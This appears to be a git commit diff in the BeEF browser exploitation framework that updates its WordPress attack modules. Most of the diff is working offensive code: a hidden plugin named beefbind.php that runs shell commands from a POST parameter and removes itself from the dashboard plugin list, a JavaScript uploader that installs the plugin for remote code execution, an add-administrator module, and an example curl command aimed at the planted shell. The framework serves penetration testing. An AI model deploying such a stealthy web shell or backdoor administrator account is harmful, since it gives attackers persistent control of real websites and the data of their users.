WordPress - Adds auth_key to Plugin, Use SecureRandom and Fixes fatal error when plugin file called directly
This commit is contained in:
@@ -13,7 +13,7 @@ class Wordpress_add_user < WordPressCommand
|
||||
def self.options
|
||||
super() + [
|
||||
{ 'name' => 'username', 'ui_label' => 'Username', 'value' => 'beef' },
|
||||
{ 'name' => 'password', 'ui_label' => 'Pwd', 'value' => [*('a'..'z'), *('0'..'9')].shuffle[0, 8].join },
|
||||
{ 'name' => 'password', 'ui_label' => 'Pwd', 'value' => SecureRandom.hex(5) },
|
||||
{ 'name' => 'email', 'ui_label' => 'Email', 'value' => '' },
|
||||
{ 'name' => 'role',
|
||||
'type' => 'combobox',
|
||||
|
||||
@@ -11,25 +11,33 @@
|
||||
|
||||
header("Access-Control-Allow-Origin: *");
|
||||
|
||||
if (isset($_POST['cmd'])) { echo @system($_POST['cmd']); }
|
||||
|
||||
define('SHA1_HASH', '#SHA1HASH#');
|
||||
define('BEEF_PLUGIN', 'beefbind/beefbind.php');
|
||||
|
||||
function hide_plugin() {
|
||||
global $wp_list_table;
|
||||
|
||||
foreach ($wp_list_table->items as $key => $val) {
|
||||
if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); }
|
||||
}
|
||||
if (isset($_SERVER['HTTP_BEEF']) && strlen($_SERVER['HTTP_BEEF']) > 1) {
|
||||
if (strcasecmp(sha1($_SERVER['HTTP_BEEF']), SHA1_HASH) === 0) {
|
||||
if (isset($_POST['cmd']) && strlen($_POST['cmd']) > 0) {
|
||||
echo system($_POST['cmd']);
|
||||
}
|
||||
}
|
||||
}
|
||||
add_action('pre_current_active_plugins', 'hide_plugin');
|
||||
|
||||
// For Multisites
|
||||
function hide_plugin_from_network($plugins) {
|
||||
if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); }
|
||||
if (defined('WPINC')) {
|
||||
function hide_plugin() {
|
||||
global $wp_list_table;
|
||||
|
||||
foreach ($wp_list_table->items as $key => $val) {
|
||||
if ($key == BEEF_PLUGIN) { unset($wp_list_table->items[$key]); }
|
||||
}
|
||||
}
|
||||
add_action('pre_current_active_plugins', 'hide_plugin');
|
||||
|
||||
return $plugins;
|
||||
// For Multisites
|
||||
function hide_plugin_from_network($plugins) {
|
||||
if (in_array(BEEF_PLUGIN, array_keys($plugins))) { unset($plugins[BEEF_PLUGIN]); }
|
||||
|
||||
return $plugins;
|
||||
}
|
||||
add_filter('all_plugins', 'hide_plugin_from_network');
|
||||
}
|
||||
add_filter('all_plugins', 'hide_plugin_from_network');
|
||||
|
||||
?>
|
||||
@@ -41,7 +41,7 @@ beef.execute(function() {
|
||||
post_data += "filename=\"beefbind.zip\"\r\n";
|
||||
post_data += "Content-Type: application/octet-stream\r\n";
|
||||
post_data += "\r\n";
|
||||
post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload %>";
|
||||
post_data += "<%= Wordpress_upload_rce_plugin.generate_zip_payload(@auth_key) %>";
|
||||
post_data += "\r\n";
|
||||
post_data += "--" + boundary + "--\r\n"
|
||||
|
||||
|
||||
@@ -12,7 +12,7 @@ beef:
|
||||
description: |
|
||||
This module attempts to upload and activate a malicious wordpress plugin, which will be hidden from the plugins list in the dashboard.
|
||||
Afterwards, the URI to trigger is: http://vulnerable-wordpress.site/wp-content/plugins/beefbind/beefbind.php,
|
||||
and the command to execute can be send by a POST-parameter named 'cmd'.
|
||||
and the command to execute can be send by a POST-parameter named 'cmd', with a 'BEEF' header containing the value of the auth_key option.
|
||||
However, there are more stealthy ways to send the POST request to execute the command, depending on the target.
|
||||
CORS headers have been added to allow bidirectional crossdomain communication.
|
||||
authors: ['Bart Leppens', 'Erwan LR']
|
||||
|
||||
@@ -7,17 +7,25 @@
|
||||
# Original Author: Bart Leppens
|
||||
# Rewritten by Erwan LR (@erwan_lr | WPScanTeam)
|
||||
#
|
||||
# To be executed, the request needs a BEEF header with the value of the auth_key option, example:
|
||||
# curl -H 'BEEF: c9c3a2dcff54c5e2' -X POST --data 'cmd=id' http://wp.lab/wp-content/plugins/beefbind/beefbind.php
|
||||
#
|
||||
|
||||
require 'digest/sha1'
|
||||
require_relative '../wordpress_command'
|
||||
|
||||
class Wordpress_upload_rce_plugin < WordPressCommand
|
||||
# Generate the plugin ZIP file as string. The method is called in the command.js.
|
||||
# This allows easy modification of the beefbind.php to suit the needs, as well as being automatically generated
|
||||
# even when the module is used with automated rules
|
||||
def self.generate_zip_payload
|
||||
def self.generate_zip_payload(auth_key)
|
||||
stringio = Zip::OutputStream::write_buffer do |zio|
|
||||
zio.put_next_entry("beefbind.php")
|
||||
zio.write(File.read(File.join(File.dirname(__FILE__), 'beefbind.php')))
|
||||
|
||||
file_content = File.read(File.join(File.dirname(__FILE__), 'beefbind.php')).to_s
|
||||
file_content.gsub!(/#SHA1HASH#/, Digest::SHA1.hexdigest(auth_key))
|
||||
|
||||
zio.write(file_content)
|
||||
end
|
||||
|
||||
stringio.rewind
|
||||
@@ -32,4 +40,10 @@ class Wordpress_upload_rce_plugin < WordPressCommand
|
||||
|
||||
escaped_payload
|
||||
end
|
||||
|
||||
def self.options
|
||||
super() + [
|
||||
{ 'name' => 'auth_key', 'ui_label' => 'Auth Key', 'value' => SecureRandom.hex(8) }
|
||||
]
|
||||
end
|
||||
end
|
||||
|
||||
@@ -5,6 +5,8 @@
|
||||
# Author Erwan LR (@erwan_lr | WPScanTeam) - https://wpscan.org/
|
||||
#
|
||||
|
||||
require 'securerandom'
|
||||
|
||||
class WordPressCommand < BeEF::Core::Command
|
||||
def pre_send
|
||||
BeEF::Core::NetworkStack::Handlers::AssetHandler.instance.bind('/modules/misc/wordpress/wp.js', '/wp', 'js')
|
||||
@@ -13,7 +15,7 @@ class WordPressCommand < BeEF::Core::Command
|
||||
# If we could retrive the hooked URL, we could try to determine the wp_path to be set below
|
||||
def self.options
|
||||
[
|
||||
{ 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/' }
|
||||
{ 'name' => 'wp_path', 'ui_label' => 'WordPress Path', 'value' => '/wordpress-5.2.4/' }
|
||||
]
|
||||
end
|
||||
|
||||
|
||||
Reference in New Issue
Block a user